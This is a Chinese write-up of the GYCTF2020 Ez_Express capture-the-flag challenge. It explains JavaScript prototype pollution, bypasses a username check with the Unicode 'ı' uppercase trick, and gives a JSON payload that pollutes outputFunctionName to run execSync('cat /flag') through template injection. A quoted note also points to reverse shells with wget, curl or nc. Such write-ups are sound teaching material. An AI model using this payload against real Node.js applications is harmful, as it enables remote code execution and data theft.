ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[GYCTF2020]Ez_Express

2020-08-06 19:33:41  阅读:642  来源: 互联网

标签:body req bar res Express GYCTF2020 user Ez foo


[GYCTF2020]Ez_Express

知识点:原型链污染

原型链的特性:

在我们调用一个对象的某属性时:

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

以上机制被称为js的prototype继承链。而原型链污染就与这有关

原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

举例:

let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)

结果:

let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1

思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

切记一定要让其__proto__解析为一个键名

byc师傅blog的总结:

总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

来做题

看到提示

友情提示
如果您还不是会员,请注册

用户名只支持大写

请使用ADMIN登录

提示我们需要使用admin来登录

先扫一下,发现有www.zip源码泄露

image-20200806172142491

下载源码审一下

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

/route/index.js中用了merge()clone(),必是原型链了

往下找到clone()的位置

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

需要admin账号才能用到clone()

于是去到/login

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题

参考p牛的文章

Fuzz中的javascript大小写特性

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

注册admın(此admın非彼admin,仔细看i部分)

特殊字符绕过

toUpperCase()

其中混入了两个奇特的字符"ı"、"ſ"。

​ 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

toLowerCase()

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.

有一个输入框 你最喜欢的语言,还有提示flag in /flag

登录为admin后,就来到了原型链污染的部分

找污染的参数

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的

res.outputFunctionName=undefined;

也就是可以通过污染outputFunctionName进行SSTI

于是抓/action的包,Content-Type设为application/json

payload

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

image-20200806190730140

然后/info路由,下载到flag

标签:body,req,bar,res,Express,GYCTF2020,user,Ez,foo
来源: https://www.cnblogs.com/LEOGG321/p/13448463.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有